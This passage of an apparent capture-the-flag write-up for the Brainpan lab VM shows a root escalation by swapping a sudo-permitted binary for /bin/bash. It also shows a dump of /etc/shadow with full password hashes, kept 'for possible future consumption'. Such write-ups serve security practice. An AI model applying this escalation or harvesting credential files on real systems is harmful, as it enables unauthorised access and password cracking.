mv anansi_util anansi_util.bak
$ cp /bin/bash anansi_util
cp /bin/bash anansi_util
$ sudo ./anansi_util
sudo ./anansi_util
root@brainpan:/home/anansi/bin# id
id
uid=0(root) gid=0(root) groups=0(root)
Once I was root, I was able to grab the flag file, and finish up this VM.
root@brainpan:~# cat b.txt
cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|


http://www.techorganic.com
And, as usual, I grabbed the shadow file for possible future consumption.
root@brainpan:~# cat /etc/shadow
cat /etc/shadow
root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZaDioh0:15768:0:99999:7:::
daemon:*:15768:0:99999:7:::
bin:*:15768:0:99999:7:::
sys:*:15768:0:99999:7:::
sync:*:15768:0:99999:7:::
games:*:15768:0:99999:7:::
man:*:15768:0:99999:7:::
lp:*:15768:0:99999:7:::
mail:*:15768:0:99999:7:::
news:*:15768:0:99999:7:::
uucp:*:15768:0:99999:7:::
proxy:*:15768:0:99999:7:::
www-data:*:15768:0:99999:7:::
backup:*:15768:0:99999:7:::
list:*:15768:0:99999:7:::
irc:*:15768:0:99999:7:::
gnats:*:15768:0:99999:7:::
nobody:*:15768:0:99999:7:::
libuuid:!:15768:0:99999:7:::
syslog:*:15768:0:99999:7:::
messagebus:*:15768:0:99999:7:::
reynard:$6$h54J.qxd$yL5md3J4dONwNl.36iA.mkcabQqRMmeZ0VFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7:::
anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1lyDGIPE1:15768:0:99999:7:::
puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEmbIcBF9Oi7q2eAi0TMMqOhg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::
Definitely an enjoyable VM with a few different custom exploits needed. I look forward to finishing up parts 2 and 3 soon, but this is one I'd recommend to people wanting to practice their exploit development for sure.